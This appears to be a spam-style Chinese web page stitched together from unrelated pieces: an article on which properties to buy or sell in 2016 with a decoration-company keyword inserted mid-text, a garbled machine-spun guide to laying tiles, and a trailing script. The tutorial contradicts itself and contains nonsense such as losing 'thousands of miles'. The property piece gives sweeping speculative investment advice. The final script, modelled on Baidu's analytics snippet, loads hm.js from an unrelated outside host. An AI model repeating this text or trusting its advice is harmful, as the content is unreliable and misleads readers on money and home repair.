2016房子能买能买的你都知道的吗

《吴晓波对2015年楼市的5个判断》一文中，提到国内在刚刚走出2013年到2014年的一场较为严重的经济危机后，2015年的房地产市场一定会温和上涨，从投资面来看，至少在未来十年中，房屋的主要价值仍然不会是居住价值，而是作为投资价值继续存在。相信这一观点挑动了很多亲们的那颗跃跃欲试的心。梅州装修公司那么，问题来了，不动产市场的温和上涨是普涨还是愈渐分化？住宅、商铺、写字楼可以眉毛胡子一把抓吗？在实际投资过程中又应该如何规避风险？一篇文章告诉你，2016年哪些房子能买，哪些房子必须卖。先说说2016年，楼市面临的几个基本因素：第一、政策面春风和煦。最近李克强总理在瑞士达沃斯论坛上，非常罕见地对楼市喊话，强调了“对房地产的刚性需求是长期的”，“中国政府希望房地产市场能够长期平稳健康发展”。在此前后，从央行到住建部等多个部门高官，都对楼市表态支持。事实上，政府新一轮拯救楼市的组合拳正在打出，包括改变“棚改”打法，不再增加新的供应量，通过政府购买商品房做政策性住房或安置房，以及政府补贴低收入阶层租房等方式，消化积压的住宅。此外，绍兴等地开始加大税收返还力度，加大对购房者公积金贷款的支持力度，废除90/70政策，取消对境外人士购房限制，宽限开发商缴纳土地转让金等。接下来，估计还会还放宽房地产企业发债、上市、贷款、再融资的限制。第二、资金面面临宽松。全面降准和再次降息是早晚的，所以M2增速可能会比2014年出现反弹。虽然人民币适度贬值对楼市构成利空，但如果幅度有限则影响有限。因此，未来一两年中国会继续维持资产泡沫而不是“挤出泡沫”，这对于楼市构成利好。第三、股市对楼市的资金分流暂时告一段落。虽然从长期看，中国人财富配置将从楼市为主、金融资产为辅，转向金融资产为主、楼市为辅，但这是一个长期过程，需要建立真正市场经济制度、把权力装入制度的笼子。此外，还有货真价实的IPO注册制。如果没有这些条件，那么“有用的房子”仍将是最可靠的资产。目前股市遭遇到3400点“政策顶”，管理层对金融风险非常警惕，对实业资金返流股市“赌博”也非常警惕，所以股市最好的时候暂时终结了。第四、市场因素不容乐观。2014年是中国楼市的转折之年，一言以蔽之：楼市供应过剩了，只有“一线城市”和部分“强二线城市”因为能持续吸引新移民，所以房子供不应求；其他绝大多数城市，事实上面临着人口增长缓慢和流失的局面。投资购房需求，也因此从全国2000多个大小城市，全面压向10来个中心城市，加剧了这些中心城市的供需不平衡。一项统计显示，中国仅各地规划的新区、开发区，如果全部建成，就足以容纳34亿人。这一统计来自国家发改委“城市和小城镇改革发展中心”。如果加上已有的城市住宅容量，中国城镇化在10年内的建房终极目标完成后，足以将全世界城镇人口都装进来。从这一点，你就能明白房子的过剩有多么严重（这一统计尚未包括疯狂生长的小产权房）。所以，中小城市的房地产市场，绝对不是国家通过优惠政策，或者继续“玩资产泡沫”可以拯救的。但这些政策如果用在中心城市身上，则可以让这些地方的房子继续上涨。正是基于上述判断，得出如下结论：假如你生活在中小城市，最多保留两三套中心区的普通住宅，新区、郊区的房子一般来说都可以处理掉；如果你生活在大城市，在中小城市的故乡有房子，那么从提高投资效率来说，中小城市的房子可以全部卖掉。至于中小城市郊区、新区的商业物业，尤其是“场内铺”是最危险的，估计想卖都卖不出去了。至于三四流风景区的旅游地产、养老地产，也是非常不靠谱的。至于传统市中心的天价商铺，最好轻易别碰，那玩意更危险。至于一线城市中心区的普通住宅，如果你有钱，可以闭着眼买，未来仍然有比较大的升值空间。一般来说，有直辖市、省会和计划单列市头衔的二线城市，其中心区的普通住宅，长远看也没有问题。在中国继续留恋资产泡沫的大背景下，这些房子至少能保值，不会让你的财产被长期通胀侵蚀太多。对于中心城市的商业物业，要保持警惕。除了北京和上海的中心区以外，都有风险。整体而言，写字楼和商务公寓的风险，比商铺要小一些。如果用一句话概括什么房子可以买，应该是这样的：有用的房子，问题都不大；如果你的邻居有权有势有文化，那你的物业就更有保障了。什么是有用的房子？当然是可以住，也能出租出去的房子，这些房子如果卖，也能找到卖家。到哪里找“有权、有势、有文化”的邻居？小县城肯定不行，地级市也不行，只有省会城市、计划单列市、直辖市、首都的中心区才行。如果你在这些地方买房子，绝大多数风险都可以被化解，因为你的“超人邻居”们会帮你搞定一切的。什么垃圾焚烧站、填埋场、绝对不会建在你房子附近，好的小学、幼儿园会像雨后春笋一个个自动冒出来。至于你生活的城市，也将利好不断，什么自贸区、国家级新区的头衔，完全不是问题。到那时，你的房子想不上涨，都没有办法。

怎样学铺地砖？告诉你所不知道的细节

地板一直是装饰的关键环节。然而怎样学铺地砖，地板也是技术含量，如果不能正确掌握，就会损失数千英里。那么，对于初学者来说怎样学铺地砖，如何快速地粘贴地砖呢？事实上，每个系统项目都有一个熟练的计划。让我们看看如何为初学者怎样学铺地砖。如何快速粘贴地砖，良好的瓷砖浸泡怎样学铺地砖。对于新的瓷砖，我们需要清洗并浸泡两个小时。其主要目的是为了使瓷砖能够吸收足够的水分，避免材料中的水分在铺装后，造成胶粘剂中的水分不足，影响其坚定性，最终导致空洞、掉落的现象。当瓷砖充分吸收水分时，就会从水中取出，然后将其表面擦去。如何快速粘贴地砖和设置良好的辅助线铺瓷砖前，应将垂直线悬挂在墙上的平整层上。它的主要目的是确定瓷砖的尺寸线。然后设置水平线，因为只有这样才能铺设瓷砖以保持水平、垂直和光滑的表面。在如何为初学者铺地砖的问题上，这一步是不容忽视的。如何快速粘贴地砖，并设置好支撑板怎样学铺地砖，铺设瓷砖时，要记住以水平线为准绳，创造一个能支撑瓷砖的木板。它的主要目的是在瓷砖达到粘结强度之前将其置换或掉落。如何快速、准确地铺设地砖通常，地砖的顺序是：从上到下，从左到右。而具体的铺装方法是：一旦找到有水的平层，然后用铲子将砂浆涂在瓷砖的背面，然后将瓷砖粘在墙上，用铲把或橡胶锤轻敲瓷砖，使泥可以填满墙壁与瓷砖之间的空间。如何快速和良好地粘贴地砖-清洁和维护怎样学铺地砖，当地的砖铺筑完成后，你必须记住及时清理表面的灰尘和污渍。具体的清洗方法如下：如果瓷砖表面污染严重，特别是一些难以去除的污迹，我们可以用10%稀盐酸溶液擦拭。但是如果你用稀盐酸来清洁，记得最后用干净的水来清洁。如果是釉钻，则可以在其表面涂上一层薄薄的亮珍珠光亮剂，再用布摩擦，使瓷砖表面光亮而不受污染。怎样学铺地砖就是这些，请牢记。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();